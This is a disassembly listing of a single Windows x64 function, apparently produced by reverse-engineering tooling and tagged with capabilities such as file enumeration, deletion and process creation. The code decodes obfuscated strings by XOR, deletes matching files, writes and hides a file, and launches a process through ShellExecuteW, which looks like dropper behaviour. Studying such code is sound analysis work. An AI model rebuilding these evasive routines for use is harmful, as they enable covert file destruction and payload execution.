Function at 0x140148210
Capabilities:
Check if file exists
Create process on windows
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x890]
sub rsp, 0x990
mov rax, qword [0x14043c0c0]
xor rax, rsp
mov qword [rbp + 0x880], rax
mov rsi, rcx
xor r14d, r14d
lea ecx, [r14 + 0x14]
call fcn.140155150
mov rdi, rax
xor ecx, ecx
call fcn.140198ec4
mov rcx, rax
call fcn.14019f6cc
mov ebx, r14d
movabs r15, 0x4ec4ec4ec4ec4ec5
call fcn.14019f6a0
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 3
imul rax, rdx, 0x1a
sub rcx, rax
add cx, 0x41
mov word [rdi + rbx*2], cx
inc rbx
cmp rbx, 9
jb 0x140148276
mov word [rdi + 0x12], r14w
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], r14
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rdi + r8*2], r14w
jne 0x1401482d0
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.140112ec0
nop
lea rax, [rbp + 0xc0]
mov r11, qword [rbp + 0xc0]
mov r9, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0xd0]
cmp r9, 7
jbe 0x140148319
lea r10, [r11 + rdi*2]
lea rax, [r11 + rdi*2]
mov rcx, r11
jmp 0x14014832f
lea r10, [rax + rdi*2]
lea rax, [rbp + 0xc0]
lea rax, [rax + rdi*2]
lea rcx, [rbp + 0xc0]
cmp rcx, rax
je 0x140148396
movzx r8d, byte [rcx]
test r8b, r8b
js 0x14014834c
cmp r8b, 0x22
je 0x14014834c
add rcx, 2
cmp rcx, rax
jne 0x140148334
cmp rcx, rax
je 0x140148396
lea r8, [rcx + 2]
cmp r8, rax
je 0x140148396
nop word [rax + rax]
movzx edx, byte [r8]
test dl, dl
js 0x140148378
cmp dl, 0x22
je 0x140148378
movzx edx, word [r8]
mov word [rcx], dx
add rcx, 2
add r8, 2
cmp r8, rax
jne 0x140148360
mov r9, qword [rbp + 0xd8]
mov rdi, qword [rbp + 0xd0]
mov r11, qword [rbp + 0xc0]
lea rax, [rbp + 0xc0]
cmp r9, 7
seta dl
cmova rax, r11
mov r9, rcx
sub r9, rax
sar r9, 1
sub r10, rcx
sar r10, 1
mov qword [rbp - 0x70], r10
mov rax, rdi
sub rax, r9
mov qword [rbp - 0x68], rax
cmp rax, r10
cmovb r10, rax
lea rax, [rbp + 0xc0]
test dl, dl
cmovne rax, r11
lea rcx, [rax + r9*2]
sub rdi, r10
mov r8, rdi
sub r8, r9
lea r8, [r8*2 + 2]
lea rdx, [rcx + r10*2]
call fcn.140355870
mov qword [rbp + 0xd0], rdi
movabs rax, 0x30e077ffbe6956cb
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x483c9c705181ee2c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x7b4b8e1aeaa1e627
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x2a841bba484ee705
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1c8], rax
movabs r12, 0x30857789be0c56a5
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x570], rax
movabs r15, 0x48519c0451abee5e
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x578], rax
movabs rax, 0x7b338e7fea8fe657
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x580], rax
movabs r13, 0x2a841bba484ee760
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x588], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x1c0], xmm1
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14014854b
lea rcx, [rbp + 0x32c]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x300]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140148521
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x30ab77f9be6156d1
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x160], rax
movabs rax, 0x48519c6151d3ee3b
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x168], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x160]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x160], xmm0
movabs rax, 0x30e077ffbe6956cb
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x150], rax
movabs rax, 0x48519c0451abee2c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x78], rax
movdqa xmm0, xmmword [rbp + 0x150]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x150], xmm0
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x270]
call fcn.14014c6c0
nop
lea r8, [rbp + 0x160]
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14013efa0
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 7
jbe 0x140148695
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140148d68
call fcn.14015511c
mov qword [rbp + 0x280], r14
mov qword [rbp + 0x288], 7
mov word [rbp + 0x270], r14w
mov rdi, qword [0x1406a2c10]
movabs rax, 0x59f112ee916526c4
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x170], rax
movabs rax, 0x2634f76b25948430
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x178], rax
movabs rax, 0x7b338e7fea8fe66a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x180], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x188], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x590], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x598], rax
movabs rax, 0x7b338e7fea8fe657
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5a0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5a8], rax
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [rbp + 0x180]
xorps xmm1, xmmword [rbp + 0x5a0]
movdqa xmmword [rbp + 0x180], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], r14
lea rax, [rbp + 0x170]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1401487b3
mov r8, rbx
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xe0]
call fcn.140112ff0
nop
mov r8d, gethostname
lea rdx, str.a1z_nb5BypBl8BTVYi3Qf9nPPguBekCLxHTuu3gnTo90CcqNkgW6
lea rcx, [rbp + 0xe0]
call fcn.14011d010
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rax, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova rax, qword [rbp + 0x110]
mov qword [rbp - 0x80], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp - 0x78], rax
mov rax, qword [rdi]
movaps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov byte [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x190]
mov rcx, rdi
call qword [rax + 0x18]
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x1401488c4
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401488bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140148d6e
call fcn.14015511c
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14014891e
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148919
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140148d74
call fcn.14015511c
mov qword [rbp + 0xf0], r14
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rbp + 0xe0], 0
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rdx, qword [rbp + 0x130]
mov r8d, 0x20
lea rcx, [rbp - 0x50]
call fcn.14013d6e0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
mov r8, qword [rbp + 0x1a0]
cmp r8, 0x1e8480
jbe 0x140148d7a
lea rdx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rdx, qword [rbp + 0x190]
lea rcx, [rbp - 0x50]
call fcn.14014c140
lea rcx, [rbp - 0x48]
call fcn.140126170
mov ebx, 2
test rax, rax
jne 0x1401489f5
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx - 8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x140149372
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140148b60
mov rcx, rsi
call fcn.140148210
nop
lea rcx, [rbp - 0x50]
call fcn.140124630
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x140148a6f
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148a6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401493ca
call fcn.14015511c
mov qword [rbp + 0x1a0], r14
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 7
jbe 0x140148ace
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148ac9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401493d0
call fcn.14015511c
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], 7
mov word [rbp + 0x130], r14w
mov rdx, qword [rbp + 0xd8]
cmp rdx, 7
jbe 0x140148b2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140148b25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140148b5a
call fcn.14015511c
mov rcx, qword [rbp + 0x880]
xor rcx, rsp
call fcn.140154c90
lea r11, [rsp + 0x990]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140192f04
nop
lea rcx, [rbp + 0x130]
call fcn.1401123d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r8d, 0x104
lea rdx, [rbp + 0x670]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x290]
call fcn.140112450
mov r8, rax
movabs rax, 0x30e177f9be795688
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x550], rcx
movabs rax, 0x48719c6151dfee3f
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x558], rcx
movabs rax, 0x7b338e7fea8fe675
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x560], rcx
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x568], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5b0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x7b338e7fea8fe657
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5c0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5c8], rax
movdqa xmm0, xmmword [rbp + 0x550]
xorps xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x550], xmm0
movdqa xmm1, xmmword [rbp + 0x560]
xorps xmm1, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x560], xmm1
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x2b8]
call fcn.14014c830
nop
lea r8, [0x14040d3ec]
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call fcn.14013efa0
nop
lea rcx, [rbp + 0x2b8]
call fcn.1401123e0
nop
lea rcx, [rbp + 0x290]
call fcn.1401123e0
lea rcx, [rbp + 0x2d8]
call fcn.1401123d0
mov rbx, rax
lea rcx, [rbp + 0x130]
call fcn.1401123d0
mov r8, rax
movabs rax, 0x30eb77ecbe7c56ca
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x100], rcx
mov qword [rsp + 0x40], r15
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x108], rcx
mov qword [rsp + 0x40], r12
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x58], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x100], xmm0
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], r14
mov r9, rbx
lea rdx, [rbp + 0x100]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call fcn.14019f534
nop
call fcn.140192f04
nop
call fcn.140192f04
nop
call fcn.140192f04
nop
movabs rax, 0x30ea77fbbe7e56e0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0xe0], rax
movabs rax, 0x48609c5f518bee2c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0xe8], rax
movabs rax, 0x7b338e7fea8fe60a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0xf0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0xf8], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x550], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x558], rax
movabs rcx, 0x7b338e7fea8fe657
mov qword [rsp + 0x40], rcx
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x560], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x568], rax
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0xe0], xmm0
movdqa xmm1, xmmword [rbp + 0xf0]
xorps xmm1, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0xf0], xmm1
movabs rax, 0x30e077e7be2c56e4
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x48239c6b51dcee2a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x7b418e1aeaafe63c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x2aa41bc84821e712
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x9c40a50609103c06
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x9e8131751229b5b0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x373e739b91b7c4e7
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x200], rax
movabs rax, 0x5e59fbd50d66dc41
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x208], rax
movabs rax, 0x2e95e2b990e2dccd
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x210], rax
movabs rax, 0xa2bda76c83b50045
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x218], rax
movabs rax, 0x5daf343580ad6990
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x220], rax
movabs rax, 0xb4e2f07608f9c6c1
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x228], rax
movabs rax, 0xf4305d88ba6b6a43
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x230], rax
movabs rax, 0xbe525597b54ba9ea
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x238], rax
movabs rax, 0x6706fb9044e1133d
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x240], rax
movabs rax, 0xeab552a030777625
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x248], rax
movabs rax, 0x3650365d4f2213d4
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x250], rax
movabs rax, 0x109801cdeb5f871a
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x258], rax
movabs rax, 0xa0bd114e41df8a06
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x260], rax
movabs rax, 0x1de67dea48354c9e
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x268], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5d0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5d8], rax
mov qword [rsp + 0x40], rcx
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5e0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x9c35a56509733c69
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x9ee53110125bb5c2
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x5f8], rax
movabs rax, 0x375273eb9197c4cb
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x600], rax
movabs rax, 0x5e3cfba60d07dc24
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x608], rax
movabs rax, 0x2ef0e2d19081dced
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x610], rax
movabs rax, 0xa2c4a74c83de0026
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x618], rax
movabs rax, 0x5d8f344780d869ff
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x620], rax
movabs rax, 0xb487f0020897c688
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x628], rax
movabs rax, 0xf4445dedba056a31
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x630], rax
movabs rax, 0xbe3c55f8b528a9ca
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x638], rax
movabs rax, 0x6772fbf344841353
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x640], rax
movabs rax, 0xea9552ce3018764c
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x648], rax
movabs rax, 0x367036394f4c13b5
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x650], rax
movabs rax, 0x10b801b4eb2d876e
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x658], rax
movabs rax, 0xa0d4112f41b88a67
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x660], rax
movabs rax, 0x1de67dea481b4cf0
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x668], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm1, xmmword [rbp + 0x1e0]
xorps xmm1, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [rbp + 0x200]
xorps xmm1, xmmword [rbp + 0x600]
movdqa xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
xorps xmm1, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmm1, xmmword [rbp + 0x240]
xorps xmm1, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x240], xmm1
movdqa xmm0, xmmword [rbp + 0x250]
xorps xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmm1, xmmword [rbp + 0x260]
xorps xmm1, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x260], xmm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14019f534
int3
test al, 4
je 0x14014937f
lea rbx, str.ios_base::badbit_set
jmp 0x140149393
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x100]
call fcn.140114d60
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x290]
call fcn.140115740
lea rdx, [0x140439150]
lea rcx, [rbp + 0x290]
call fcn.14018d774
nop
call fcn.140192f04
nop
call fcn.140192f04
int3